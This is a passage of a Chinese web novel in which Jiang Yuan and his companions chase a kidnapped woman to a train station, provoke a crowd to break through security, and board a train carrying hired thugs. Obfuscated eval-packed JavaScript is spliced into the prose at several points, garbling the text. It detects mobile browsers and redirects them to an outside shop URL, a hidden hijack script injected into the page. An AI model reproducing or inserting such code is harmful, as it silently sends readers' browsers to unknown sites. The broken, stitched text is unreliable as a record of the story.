“如果客人想要稍微运动一下的话,在一楼有健身房和泳池。但我们并不建议客人在饭后运动,这样不利于健康。”服务员插话道。 “哦。但我只是想在院子里散步,不想搞什么运动。” “但午后的阳光有些太强了,还是有中暑的风险。如果能够再……” 那个服务员说到这里,突然身子抽搐起来。两道电流正通过插在他胸前的电极,在他体内来回打转。 “我就说嘛,不对劲。你们这些人废话太多了。”姜原一边说,一边松开了□□的扳机。随后他的全部六条机械爪也通过大衣上的开口伸了出来,像是威吓一样在他背后伸开。“所以请你们几个都给我闭嘴。” 服务员们一起慌不迭地点头。 让娜被他吓了一跳,赛德也没跟上姜原的思路,问道:“你、你这是怎么回事?” “周向青大概是不会回来了。喂,你们有车吗?”他问那些服务员。 “没、没有。” “好吧,可惜我不信。”姜原向那个说话的服务员走去。机械爪像蟒蛇一样卷上他的喉咙,然后越缠越紧。 “我、我、我没有汽车。”那个服务员挣扎着从口袋里掏出一串钥匙。“我只有……” 机械手松开了。姜原接过钥匙。 “如果你们需要向上级报告的话,那就再等个十分钟再报告,谢谢合作。”他说。 姜原带着赛德和让娜快步走下楼梯。整个迎宾馆静悄悄的,似乎这里只有他们几个人一样。 “到底是怎么回事啊?你说大姐姐不会回来了是什么意思?”让娜问。 “他们并不想让我们离开这个地方,但又没有把我们关起来。说明他们只需要拖过一定时间就没问题了。大概他们就是利用这段时间把周向青带到某个地方,然后就不需要考虑我们了。所以最有可能的是……” “火车站!枢机主讲想把她带到石岗城去!”赛德叫道。 “大概就是这样。”姜原说。 赛德已经拔腿向门外跑去。 他们一出迎宾馆,只见一只八哥尖叫着从天上落了下来。让娜伸出手,胖球就落在她的手臂上,然后发出一串汽车报警的尖锐鸣叫。 “看样子她是已经猜到了。”姜原按下车钥匙,从角落里传出呜呜的报警器解锁声。“是摩托?我还真没怎么骑过这玩意。” “我来吧。”赛德从姜原手里拿过钥匙。 “你会骑摩托?” “我好歹也曾经想当骑士来着。”赛德苦笑着插上摩托车的油门钥匙,怀念似地摸着车把手的防滑纹。“只不过,很久都没有摸过了。” “不错嘛。正好我也不认识路。”姜原赞了一句,又对让娜说:“那你就在这里照顾……” “不要。我也一起去。” 姜原和赛德对视了一眼。 “大概——也不是不行?” 赛德一拧油门,摩托车“突突”地抖动起来。姜原坐在后座上,而让娜就坐在赛德和姜原中间,抱着胖球。胖球被这摩托车的声音吓了一跳,挣扎了一阵,但让娜一直轻轻摸着它的脑袋,最后还是让它平静了下来。 “走吧。虽然有点超载,希望交警不会拦一个飙车的教会牧师吧。”姜原说。 “首先,不是教会,是统修会;其次,不是牧师,而是机师。坐稳了!” 摩托车怒吼一声,猛地冲了出去。姜原差点没被掀下车去,他急忙抓住赛德的袍子,机械爪抓着摩托车的置物架,才好不容易稳住了身子。 “你他妈这开的什么玩意!” “我说了我很久没开啊!” 摩托车一路轰鸣着向前狂奔。 他们的运气还算不错。他们赶到火车站的时候,刚刚听到大厅里的报站声。 “从卡比利亚前往石岗城的T134次列车已经进站。请要上车的旅客尽快前往3号检票口检票进站。列车预计发车时间:12点整。” 还有十五分钟。 但眼前的情况明显不是十五分钟能够解决的问题。他们的面前是一片由人头构成的海洋。人们背着大包小包,带着孩子,全都挤在进站口。而进站口前拉起了一道挂着警戒线的围挡,只露出三个道口,穿着士兵制服的人正用金属探测器在通过的人身上扫来扫去,而人们的行李也要经过一台上时代的X光机。他们居然还有这玩意。 人群熙熙攘攘,吵吵闹闹,全都在抱怨今天的安检措施。 “凭什么平时不检查,就今天要检查?” “我看你们就是给老百姓添堵!” “他们怎么今天突然搞起这个?” “大概是枢机主讲被昨天晚上的袭击吓怕了,要马上回石岗城。不然他们检测什么?” “我去买票。”赛德说。 “这情况,你要买票,赶得上?我看不如绕路直接上站台算了。” “那你怎么上车?教会人员不用排队。你给我你的身份证明。” 姜原只得把自己的入境证明递给赛德。然后在赛德去买票的时间里打量着人群。这么长而且这么混乱的队伍,他们按照正常的方式甚至可能赶不上开车。另外,姜原自己八成过不去金属探测器, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这些当官的,就是难为普通人!自己走特权通道!不让我们上车!”让娜骑在姜原的肩膀上,尖声喊道。她头一次可以这样堂而皇之地叫骂,而且还有这么多人支持,心里开心得不行。 赛德一脸茫然地看了看姜原,然后又看了看让娜,还没明白他们是什么意思。 但刘光磊已经看到姜原和让娜,他一转头又看到赛德,不由得来了气:“好啊,又是你们几个!” “怎么,吓到你了?”让娜喊道。 “就是你不让大家上车的吧!”姜原起哄道。 人群跟着“狗官”、“贪污”、“腐败”地吵嚷起来。 赛德终于明白了姜原的意思,也大声质问道:“刘主操!你把这些人都拦在外面,卡着人不让人上车,是什么意思?这是大主讲的命令吗?这不可能是大主讲的命令!” 刘光磊大怒,指着赛德吼道:“把他,还有他们,给我抓起来!” 姜原的机械爪已经抠开了围挡的锁扣。他轻轻一推,围挡便倒了下去。“围挡倒了!快跑啊!”他高声喊道,自己先跳了过去,一溜烟逃掉了。 人们如潮水般通过围挡的缺口。其它地方的人也来了胆量,纷纷动手推倒自己面前的围挡,或者直接撞开负责金属探测的士兵,背着大包小包,带着老人孩子,纷纷奔向各自的进站口。 虽然刘光磊高喊“把他们给我拦住”,但很明显,局面已经失控了。 赛德面对刘光磊怒火中烧的目光,耸了耸肩,扭头就逃。 后面的人甚至不再顾忌刘光磊和他手下的士兵,毫不掩饰地直接从他面前跑过。有人还趁机在他擦得锃光瓦亮的皮鞋上踩了几脚。 刘光磊咬牙切齿地让手下抓住他们,而姜原和赛德早已消失在人流中,不知所踪。 42.卡比利亚之夜27 枢机主讲程光颢端起茶杯,吹了吹上面的热气,一口口呷尽了杯中的茶水。他端起茶壶,又给自己倒了一杯。那小茶壶大概一壶茶也只有三四杯的量,枢机主讲倒了这一回,基本把里面的水倒尽了。他又拎起烧水壶,重新加注热水。 “那你觉得我应该怎么办?”周向青问。 “我?我不知道你应该怎么办。每个人都有自己的答案。你也知道,我有个弟弟。我跟他对每一件事的答案,几乎都不一样。”枢机主讲淡淡说道。 周向青的心里一颤。她还是没有避开这个话题。“您有个弟弟。” “对。你也认识他。那个赛德跟我说,这是我弟弟给你的。”枢机主讲从长袍内侧的口袋里掏出了那个银棘圣血徽章。“他和我不一样。他喜欢他的故事,喜欢在现实中寻找过去的幻影。对我,还有我们的父亲来说,他有点太浪漫了。有时我在想,是不是我太迁就他,才导致了这个结果。”枢机主讲说完,把那个徽章轻轻放在了茶桌上。 “迁就他……迁就他的浪漫吗?” “该用‘浪漫’这个词吗?我也不清楚。反正,那年从消夏别墅回来之后,大概是因为他生病需要在家的缘故吧,他跟我家的佣人们越来越熟了。而且佣人们也比较喜欢跟这个小主人说话,因为一方面我的父亲太严厉,母亲又不爱拿主意,我又经常不在家;另一方面就是我弟弟那时候也比较聪明可爱。总之,他在家里养病一段时间之后,对佣人们的事情要比任何人都清楚。甚至比管家都清楚。当时我们还拿这个事取笑他,叫他光颐大管家。 “佣人中有一个跟他关系最好的,同时也是他生病时专门负责照顾他的女孩子,名字我已经忘了,好像是姓白。她是个乡下姑娘,做事很勤快,年纪要比我弟弟大个十来岁。我们还是比较信任她的。但好巧不巧,事情就出在她身上。不过也不能算巧吧。因为如果他们关系不好,她也不会跟他说这类事情。毕竟那个时候……”枢机主讲似乎回忆起另外的事了。 “她跟他说了什么事呢?”周向青问。 “她的哥哥在工作时候受了重伤,住院要一笔钱。当时我和我父亲都不在家,而我的母亲则像往常一样不拿任何主意,说要等父亲回来再做打算。但人命大事,她是等不了的。然后我的弟弟就知道了,他就撬开了我父亲的抽屉,从里面直接拿了钱。这件事本来是算不了什么的,如果那天是我先到家的话。可惜的是,那天父亲似乎是取消了一个约会,就先回去了。 “父亲看到被撬开的抽屉,大发雷霆。损失一点钱是小事,但仆人居然唆使主人盗窃,更别提是在他书房里乱翻,则是大事。虽然弟弟反复解释,是自己想做而那女佣并不知情,外加情况紧急;但父亲仍然气愤难平,他先是把刚从医院回来的女佣关了一周的禁闭,并且准备到时候就开除她。 “弟弟大概这辈子第一次认识到钱是一个重要的东西。他想要钱,但他没有钱,也不知道怎么才能弄到钱。这是当然的,毕竟他那时候才8岁。父亲禁止我和母亲给他钱,因为他有了钱绝对会拿给那个女孩。当时我看他脸上愁云密布,就偷偷给他塞了十个银币,劝他出去走走,跟朋友玩一玩,逛逛游乐场什么的,散散心。反正最好不要留在家里。留在家里会让他想起那个女孩子。” “这时候能有心情逛游乐场?”周向青不以为然。 “或许没有吧。但他总归是个小孩,所以还是听我的话,出去了。晚上我回来的时候,他兴高采烈地跟我说,他有了赚钱的办法,然后把我拉到后花园的角落里。他在那里藏了十个纸盒子。他说,那是街边一个圣人送给他的,里面装着种有圣女草的花盆。只要把银币埋进花盆,一周都不打开,最后就能结出一个金币。因为我给了他十个银币,所以他就种了十盆。 “我在看到那些纸盒的一瞬间就知道,他绝对是被骗了。那时候我们刚在卡比利亚发现圣女草这个东西,还不太清楚它究竟是什么。所以也有很多人拿它来骗人。但对于一个脑筋正常的人来说,无论这种活化机械到底是什么,它都不可能把埋进去的银币变成金币。这是物质守恒。但当时,我弟弟是真心相信的。看到他眼里期待的神色,我实在是没办法把真实情况告诉他。 “所以我在当天晚上偷偷摸到后花园里,把那些花盆掏出来,带到实验室。果然,那些花盆底部都有一个大洞,只要把银币塞进去,就会从盆底掉出来。那个什么‘圣人’大概就是这样把我弟弟的钱骗走了。我把那些大洞堵好,给那些圣女草上都装了一枚金币——至少让它看上去像是长出来的,然后把花盆放回原来的位置。 “时间一天一天过去。第七天早上,我听到后花园里传来一声开心的叫喊。当然,我弟弟发现那些圣女草上果真‘结出’了金币。然后他带着那些金币去找那个女佣,把那点钱都给了她。后来他又试着种,但当然,没有成功。他去找那个‘圣人’,也当然,没有找到。因为我早就叫人把他收拾了一顿,赶走了。” “那姑娘呢?” “哦,她啊。父亲后来还是把她辞退了。再后面的情况,我也不知道了。”程光颢答道。他慢慢地喝掉了杯中已经冷掉的茶水。 这个故事有点长,而余味又有点复杂。这就是周向青听完这个故事的感觉。这也算是她对程光颢、程光颐这对兄弟,终于有了一点了解。程光颐的确看起来是这个样子的。周向青记得程光颐给她讲米卡还有统修会之间局势的情景,他似乎相信统修会是正义的,同时也是一个不错的、很敦厚的人。这也就让他最后的那个画面变得更加悲凉。而枢机主讲程光颢给她的感觉,除了无所不谈的随和与坦诚之外,似乎还有那么一点点的不太自然。 这种不太自然,就像是那个人给她的两个“寻宝游戏”的谜面那种不自然一样。 为什么要把那两张照片放在保险柜视网膜的验证库里? 为什么要在八哥胖球的脚环中,储存银行的账号和密钥? 这种不自然,只是从她看来的不自然。而对方却在这一举一动中,隐藏着自己真正的目的。 她比起按着对方的表面线索寻找,更想知道对方想要隐藏的那些东西。 那才是真实的一面,也才是真实的自己。 “我明白您的意思了。”周向青说。她也端起面前的茶杯,把茶水一饮而尽。“但还是容我拒绝。我明白有人对我抱有期待的感觉,因为我也对别人抱有期待。但是,如果对方只是配合我的期待,来给我一个我想要的结果,那反而是我最不能接受的。我想要的是真实的自己。即便最后找到的答案多么荒诞,我多么不愿意接受,我也认为,还是要靠我自己来得到。” 枢机主讲慢慢摇了摇头。“恐怕你并没有明白我的意思。我并不是说,你我的所作所为会是这件事的结束;我是说,一切都才刚刚开始。” 周向青的确不明白枢机主讲的意思。她直视着对方的眼睛。而枢机主讲也回望着她。他的眼神显得忧郁且疲惫,看上去简直就像是一个八十岁的老人。 周向青不由得移开了视线。 然而此刻她才发觉,火车似乎已经离开了城市,窗外的乡村景象如飞一般向后倒退。 她惶恐地瞪大了眼睛。 “现在到底怎么回事?这车什么时候到站?”周向青大声问道。 “啊?”枢机主讲也跟着望向窗外。“唉呀,卡比利亚已经过了?” 他微笑着,又斟了一杯茶。 姜原、赛德和让娜一路大笑着跑到检票口。 “好久没有看刘光磊那么生气了,感觉就是舒服。”赛德说。 “赛德机师,他不会报复你吧?感觉他似乎是个大官呢。”让娜还是有一点担心。 “我就是个小小的机师,他能把我怎么样?给我降职吗?还是一辈子不让我升职吗?我本来也升不上去了。光脚的不怕穿鞋的,没关系。能气他这一回,也值了。而且,大主讲肯定要处分他。” “来来来,别说了,把票给我。马上开车了。”姜原说。 赛德把两张票给了姜原和让娜。 “这什么玩意?站票?还有站票?”姜原看了看自己的票根,大声抱怨道。 “我居然是一等座欸!第一次坐火车,就能坐一等座欸!我都还从来没坐过火车呢!”让娜开心地原地跺脚。 “没办法啊,马上开车了才买票,只能买别人退的。有什么买什么,能买到票就不错了。” “让我看看你是什么。”姜原去看赛德自己的票。 赛德一翻手腕,把票藏了起来。“别看了,就是二等。” “凭什么你是二等,我是站票?” “就凭我是公职人员。” “难道她也——” “你该不会想让这么小的小姑娘去站着吧?” “行。算你狠。” 他们三人通过检票口。 在站台上可以看到,车头后面挂着两节纯白色的车厢,上面既没有车次牌,车厢门上也没有任何标识。更有说服力的是,那边还站着两个紫袍骑士,正在跟一支负责安保的卫兵小队说话。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090708|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姜原装作无所事事的样子走了过去,探头张望。 他隐约能看到有人正坐在其中一节车厢里,似乎是正在说话。车内没开灯,有些暗,他看不太清究竟有几个人,更看不清对方的相貌。但坐在车厢门一侧的人,头顶是一抹艳艳的红色。 那应该就是她的红帽子。他想。 “喂!你在干什么?”紫袍骑士注意到姜原正在探头探脑,便手按剑柄,大声喝道。那一队安保卫兵也瞬间回过头来,盯着他。 姜原讪讪后退几步,走开了。他可不想引起对方的过度警惕。 “看样子是没错了。他们正在说话。”姜原回到赛德和让娜身边。 “那怎么办?我们就这样上车吗?跟着他们一起到石岗城去?”赛德问。 “不行。如果到了石岗城,事情就更无法控制了。这车中间有几站?” “这是特快车,所以有一些车站不停。我记得应该是大概四站吧?水安、云阳、新竹、宜源。可能还有一站?我不太记得了。” “嗯。反正,我们尽量带着她在中间的随便哪个站下车。上车以后,你们可以休息一会,尤其是让娜。我来找你们。”姜原看了看自己的车票,说:“我是19号车厢。基本就是车屁股了,他妈的。” “我是8号。”赛德说。 “我是3号。”让娜说。她尽量把胖球藏进衣领,但她的衣服本来就小,所以只好把头巾解下来包着它,抱在胸前。 站台响起了开车前最后一次报时: “目前时间11点58分,距离T134号列车发车还有三分钟。请相关人员尽快上车就座。” “好。走吧。”姜原说。 他们三人按照自己的车厢号赶去。 ### 脚步声响。一道厚重的大门无声地向一侧滑开。 在一堵雪白的墙壁上渐渐浮出了一张巨大的脸。深绿色的光点不断闪动着,显得那脸上的表情沉郁而又严肃。 “情况怎么样?” “抱歉。”简短的回答。 “哼。那么数据呢?” “虽然没有拿到您说的内容,但也不算是没有收获。拍到了不错的照片,也收集了样本。” “好吧。我收到之后,报酬会按照实际的价值结算。” “非常感谢,教授。然后……” “还有什么值得报告的吗?” “没有了。但……有一个问题。” “什么问题?” “姜原他迟迟不上交那份文档,真的没有什么缘故吗?我总觉得……” “你跟他见面了?”那张绿脸的语气一下子沉了下来。 “是。但……只是聊了两句。” “哼。你没必要管他。每个学生都有自己的想法,你学好自己的就行。至于万一哪个学生的品行出了什么问题——”那绿色的人头顿了一顿,续道:“自然有他的导师,还有教务处去处理。” “是,知道了。” “你们也不要留在那里了,先回来。剩下的事情,我已经安排让柳怀石去办,你也不用管。我有空的时候,还想问问你当时的细节。” “是,知道了。” 林天籁敬了一个礼。 绿色的大头闪了几闪,渐渐消失了。 林天籁默默退出房间,林希声正在外面等他。不知道什么时候,他居然把成像眼镜和耳罩都摘掉了。看到林天籁出来,他赶忙又把那套装备戴了上去。 “怎么样?你问前辈的事情了吗?”林希声问。 “哪有那么好问啊?你怎么不自己去问?真是的。吓死我了。” “所以还是什么都不知道咯。” “不知道。反正都是大人的事,怎么样都无所谓吧。”林天籁说。 “希望这样就好咯。有时候,我甚至都有点怀念,什么声音都听不见的那段时间了。”林希声似乎是在解释自己为什么要把眼镜和耳罩摘下来。但他刚刚说完,看到林天籁略显失落的表情,便有赶忙补充道:“不过,我还是很感激哥哥你让我听到这些声音的。我一点都不后悔哦。” “嘁。随便你啦。”林天籁一甩手,自己向门外走去。 而林希声赶忙追上。“我们接下来去哪里?”他问。 “教授让我们先回去一趟。” “哦。好吧。那就——再见啦,卡比利亚!” 林希声大声喊道。他的声音在狭窄的小巷间往来回荡。 稀薄的回音显得空洞而寂寥。 43.启明号列车01 姜原总算是在开车哨声响起前踩上了车厢的踏板。 然后他才有时间打量车厢内的情况。不看不要紧,一看可是把他吓了一跳。 这辆车的车头和车尾的差距未免有些太大。 他上一次来,两年多前,坐的是一等座。车厢整洁如新,座椅宽敞舒适,后有靠垫靠枕,前有垫脚桌台,左右扶手有杯架挂钩,车厢两头还提供免费的饮水,备有御寒的毛毯。 而这里的站票,的确是实实在在的站票。这节车厢就像是从垃圾场捡来的集装箱,没有车窗,所有的光全都来自于车顶的一排小小的电灯。座椅当然是一个都没有,两侧都是焊在地板上的货架,上面堆满箱子和麻袋,个别箱子还用拇指粗的铁链锁着,让人好奇里面到底装了什么东西。 买了站票的乘客就站在这些货架之间。一部分带着大包小包的旅客把行李放在地面,自己舒舒服服地躺在上面;其余的人则没有这种自带的靠垫,只能扶着货架的钢筋柱,或是抓紧钉在天花板上那些摇摇晃晃的吊环。列车开动,那些挂在吊环上的人则在加速度的作用下,如海草般一起向后摆动。 而与他们一起摇摆的还有一头奶牛。 奶牛的脖子上挂着一条草绳,另一头牵在一个老人的手里。 姜原惊讶地望着奶牛,他不知道这头奶牛有没有买票,也不知道老人要带这头奶牛踏上旅程是为了什么。 而奶牛并不在乎这些,只是漫不经心地反刍着草料,仿佛它也是惯于出差的牛奶销售代表。 姜原在那一刻感到,如果自己继续留在这个奇怪的空间,可能就会被这空间同化了。姜原记得,这趟车只有最后三节是站票的车厢,而他是从中间的站票车厢上的车。于是他向车头的方向走去。 果然,二等车厢的确就在前方。 透过门上内嵌金属网的强化玻璃窗,姜原能看到对面一排排的皮面海绵座椅,以及坐在上面欢声笑语的乘客。 但他却打不开自己面前的厚重的车门。姜原用力敲了敲门,没有任何反应。他能看到另一侧车厢的门边站着一个列车员,几乎是同时那人也看到了他。他们就像中间隔着一扇看不到的镜子。姜原像那人挥了挥手,而那个列车员也用力向他做着看不懂的手势。列车员的嘴巴像金鱼一样一开一合,只是没有任何声音传递过来。姜原困惑地看着对方。但那列车员不再理睬他,而像金鱼钻进假山石缝一样,钻进了一旁的小隔间。 “二等席有空座,这门才开。”姜原的身后有人说道。“补票才能过。” “这样,谢谢。”姜原回答。这下麻烦大了。万一到下一站仍然没有空座怎么办?下下站仍然没有呢?他想看看到底中间有几站,用时多久,但这个车厢并不像其它车厢一样有列车时刻表。而且这里没有窗户,他也看不到外面的情况。虽然这些车厢还保留了不让他们憋死的天窗,但那个通气孔狭窄到连一只猫都过不去,更遑论他一个成人了。 他竟被困在这铁皮罐头里了。 “第一次坐火车?外地人?”那人又说。 “啊,不是第一次坐,但对,是外地人。”姜原答道。他此时才转头去看这个负责旁白的人到底是谁。 那是一条强壮的大汉,光着个脑袋,圆滚滚黑油油滑溜溜亮锃锃如铜豌豆一般,连鬓大胡子,圆瞪着两只眼睛。虽然是晚春天气,但那人却仍然穿着一件翻毛领子的皮外套,也不嫌热。脖子上还围着一条金链子。 “哪里的外地?”那人又梗着脖子问道。 “环运城。” “去哪里?干什么?” 这问题问的,像是盘查一样。 姜原答道:“石岗城,旅游。本来以为是淡季,结果没想到人这么多。我朋友买了坐票,偏偏没给我买到,我还想去他那里聊天,结果也去不成了。” “哈!我们也是。我和这几个兄弟都听了一个瓜怂的话,大老远来赶活。结果狗日的,他给自己买了一等座,我们都是站票。现在想过去揍他一顿都不行。不管怎么样,我们算是一根绳上的蚂蚱了,小兄弟。” 蚂蚱?难道不是“同病相怜”么? 就像是姜原脑子里的声音传进了现实一样,一个清秀的声音从大汉背后传来:“是‘同病相怜’。” 姜原现在才注意到,这大汉身后还站着三个人。 一个长胡子老人坐在行李包上,慢慢吸着一根纸烟;一个清秀白皙的青年女子穿着一套过于宽松的男装,摇着一柄折扇,站在老人身边;另有一个长得颇抽象的黑脸汉子蹲在角落里,旁边还有一个圆鼓鼓的蛇皮袋。而刚才说话的,大概就是那个女子。 其他人大概不想跟这个奇怪的组合扯上关系,都远远地聚在车厢的另一头。 不过,这个“赶活”的组合有点奇怪。姜原一时还真的想不到他们适合干点什么活。 “都一个意思。”光头大汉一摆手。 “但是我们先来的。你也想补票,就得排我们后头。” 蹲在角落里的汉子突然插嘴道。 真的是浪费时间。但姜原嘴上说的却是:“那是应该的。” 光头大汉呵呵笑着,拍了拍姜原的肩膀。“小兄弟懂得规矩,用不着你多嘴。” 那黑脸汉子道:“是吗。那咱们怎么都在这里,就他一个人在前头呢?而且还是一等座。” “这不是不想太扎眼嘛。我们要拿大件行李,有哪个地方比无座票更合适?而且只有他熟悉那些人,所以当然只有他一个人可以到前面了。”光头大汉说。 “我是不太相信那个家伙。我看他做生意是假,借我们的手报私仇是真。”黑脸汉子说。 “但那也没什么区别。再说了,我们本来也接不到这种活。要不是安提赛临时退标——” 行李包上的老人重重咳嗽了一声。 安提赛?姜原装作不在意的样子慢慢走到一边,却暗自竖起耳朵。 大汉看了一眼老人,放低了声音说道:“反正,这机会不容易。错过就没有了。反正,人家第一合作目标也不是我们。最后凑到一起,这就叫鲤鱼跳龙门。” “是‘破锅配烂盖’吧。”那女子说。 “都一个意思!” “反正我就是觉得这事有问题!算了,跟你说不清!”黑脸汉子生气了。他生了一会闷气,又抱怨道:“你这么搞,累着我和小郑也就罢了,蹲几个小时也就那么回事。但马老爷子怎么办?” “我……不碍事。”老人急忙辩解,结果说话急了,呛到了烟,连连咳嗽。那女子赶忙上去帮他拍拍脊背,好不容易才稳下来。“我坐这里挺舒服的。”老人又说。“不过呢,小白,你也别老是斗气。心里若是存着一股戾气无法化解,对健康不好。心属火,气盛火旺则耗木克金,导致肝虚肺燥——咳咳咳!”老人又咳嗽起来。 这一群什么人啊。 虽然他们提到了安提赛,但或许也跟军事行动没有什么关系。毕竟他们看上去并不像是什么厉害角色。姜原想走,但他又担心万一有空座自己没补上,白白耽误了时间。只好就近找个地方歇一歇。虽然未必能休息多久,能养养神也是好的。毕竟他昨天一晚上都没合眼。但这小小的车厢里,凡是能坐的地方,早已经坐满了人。他只好靠在旁边的货架上,慢慢闭上眼睛。 但那几个人似乎又开始大声密谋起来。 “接下来的计划怎么办,想好了吗?”这是大汉的声音。 黑汉子答道:“想什么?水安再过一个小时就到,肯定有人下车。运气再差,也不可能到新竹都补不到票。反正到那之前做好准备就行了。给我们买站票,感觉就像是不到最后一刻不让我们参与行动的手段。我就是讨厌这种被利用,还做不了主的感觉。” 大汉说:“他利用也就利用吧。但如果不靠我们,光他就能成事,我们也就没机会来了。他报仇,我们拿钱,正合适。只是现在多了一帮穿紫袍的骑士,不知道是什么来头。” “哼,他们满打满算也就只有两个人,小屁孩充其量算半个。那些骑士又不是一起来的,跟我们没啥关系。何况,他们也未必厉害到哪去。这个世界就是越好看的人就越弱,都是绣花枕头。”黑汉子道。 “看来你对自己的外貌颇有自知之明啊。”女子笑道。 “呸!别老打岔。反正,我不相信他。” 光头大汉叹了一口气,说道:“我答应,只是因为我们的价值评级马上就要下调了。这是无奈的选择,我既然是老大,就得对你们负责不是?再说了,他的背景调查可是小白你做的,你那报告还在我这呢!到最后你也没查出什么不是?” 价值评级?姜原心里又确定了几分。 价值评级是公司跟其人才货币制度相关的一个制度。在公司的理念中,每个人都有其价值,而其价值取决于最近创造的经济利益。一个人可以选择“上市”,将自己纳入货币体系,同时也跟据价值评级获得相应的投资。但相应的,如果一个人的价值评级下跌,他可能必须拿出自己的财产来补偿投资人的亏损。 这么说,这几个人是公司那边过来的。而且还提到紫袍骑士——这事情的性质可就不一样了。而且还有安提赛。 联系一下昨晚的事情,这可就有大意思了。 “喂,只有一天时间,我能查出什么?” “这我不管。平时嘴里老说什么,一口唾沫一个钉,人说话就要算话,现在还没出事,你想要耍赖了?就因为没给你买坐票,你就把问题上升到这种程度?那你坐我脑袋上得了!满意了不?”光头大汉数落道。 “谁想坐你脑袋上!滑下来怎么办?”黑汉子反唇相讥。 “我还嫌你屁股硌呢!如坐针毡!” “如坐针毡,哈哈哈哈!”那女子咯咯笑了起来。 “马老爷子,你评评理!他能不能这么说话?就这,还自称老大呢!连点老大的样子都没有!再怎么说咱们也是股份制的,你一个人说了不算!” “哟,好像这回事就是我一个人定的?最后的合同,你们签字没有?” “年轻人不要因为一点小事就置气……戾气无法化解,有害健康……但是他也的确大概算是一个陌生人,小白怀疑也是很自然的;另一方面,小白也算是你的兄弟,兄弟之间要和睦相处……” “马老爷子爱和稀泥,所以你才叫他评理。你怎么不叫小郑评理呢?” “我?我才懒得管那个人可靠不可靠。我是跟你来的,又不是跟他。”女子说到这,感觉这话有点歧义,又补充道:“不过话说回来,的确那人的确是新加进来的……” “你怎么也说这话?我让你们进来的时候,怀疑过你们没有?”大汉生气了。 黑汉子说:“情况不一样,不能算。” “小关,你这样怄气并不好……” 四个成年人做出完全是小屁孩级别的争吵。 姜原有点困惑。难道这些人是装出来的?不,感觉不太像。他甚至都怀疑刚才听到的“安提赛”是他听错了。但这些家伙刚才的确也提到了紫袍骑士。但这些人看起来,无论如何不太像是要袭击枢机主讲的样子。 或许这些人的确是公司那边的人,但他们的目标只是一等车厢里的某个普通人。那样的话,只要这些人的目标不是姜原自己,或者周向青,那么他也没必要横插一杠子。 但是,一点点混乱或许有助于帮他分散紫袍骑士的注意力,也有可能让骑士们过度紧张。 那他到底应该怎么办呢? 在姜原考虑的时候,似乎有什么东西凑到了他的眼前。 “喂,小兄弟。” 姜原闭着眼,一动不动。 “你睡了吗?” 姜原仍旧一动不动。 “我就不信你能睡着。” 有什么东西开始扒拉他的眼皮。姜原只好睁开眼来,看着那个秃头大汉。 “请问您有什么事?” “小兄弟,我感觉你这个人不错,你来评评理。你也听到我们争论了吧。你觉得怎么样?” 姜原看了一眼其余的三个人,又看了看眼前的这个光头大汉,叹了口气,说道:“要我说的话,您作为领导者,甘愿为属下的前途承担风险,感人至深。他们能够岁月静好,是因为有您负重前行。对于一个处于下滑边缘的组织来说,创新是挑战,更是机遇。您敢于抓住这个机会,采纳新的营收计划——虽然我不知道是什么——就是一次大胆的信仰之跃,我坚信您一定能成功。因为您即便对于新员工抱有疑虑,仍然让他来负责这次‘站票旅行’的团队建设,疑人不用,用人不疑,不仅给员工赋能,让团队磨合,还锻炼了属下发现矛盾,解决矛盾的能力,实在是高瞻远瞩。我完全站在您这一边,支持您的全部想法。” “我……创新……赋能……团建?”光头大汉显然没跟上姜原的思路。感觉他刚才的表现的确不是演出来的。 “对,我真的非常佩服您的领导能力。我都想赶快加入您的部门,锻炼我自己的业务水平了。”姜原调侃。 大汉没再说话,似乎是在想什么东西。 那就请你们自己聊天去吧,最好能多说点有用的信息。姜原心中暗道,闭上了眼睛。 “有道理!有道理啊!” 姜原的耳边突然响起一声震耳欲聋的大喊。他强行忍住爆发的冲动,仍然闭着眼睛假装休息。 然后他感到又有人开始扒拉他的眼皮。 “你又有什么事?”他只好又睁开眼睛。 “你说的有道理!有道理啊!”秃头大汉双手重重拍上姜原的肩膀,开始摇晃他的身子。“我的确是最近因为价值评级的事情有点太紧张了,有点不太自信。我忘了我是这些人的老大,我要为他们负责,但同时也应该相信他们——不只是相信他们的建议,更应该相信我们四大恶人是一个整体。既然做出了决定,无论发生什么情况,无论有什么抱怨,都应该坚持到胜利。我还记得,小时候和父亲进山打猎,我追着一只野鸡跑迷路了,父亲跟着我一起在山里摸了好几天,虽然我一路上都在抱怨,但他一句话都没有说,只是带着我一直找到回家的路。”秃头大汉深深吸了一口气,仿佛是在嗅闻着当时山间的气息,然后说:“你说的太有道理了!你是个聪明人。” 姜原挑起了一边眉毛。这倒是他始料未及的事情。这家伙反话正听的水平真是不容小觑。 不过,四大恶人——那是什么玩意? 但大汉怀旧的表情渐渐消失之后,却又猛地凑近姜原的脸,他的鼻尖都快戳到姜原的眼珠子里了。“小兄弟,我觉得你是个人才啊。你要不要也加入我们四大恶人?可以挣快钱哦。”光头大汉低声说。 “啊?”姜原与那个黑汉子、女子三人异口同声。 “关老大,话不兴乱说的啊——” “这可是不相识的路人——” “我只是去旅游的——” “那又怎么了?我觉得这小兄弟不错。” “不行!”那黑脸汉子说。“关老大,这次行动本来就风险很大。你还现场拉人进组,说不过去。” “这有什么说不过去的?难道你们就是我发广告审简历面试审批招进来的?还不是都一样!”光头大汉一伸脖子。“你说呢,小兄弟?” 姜原对这家伙简直无话可说。“让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 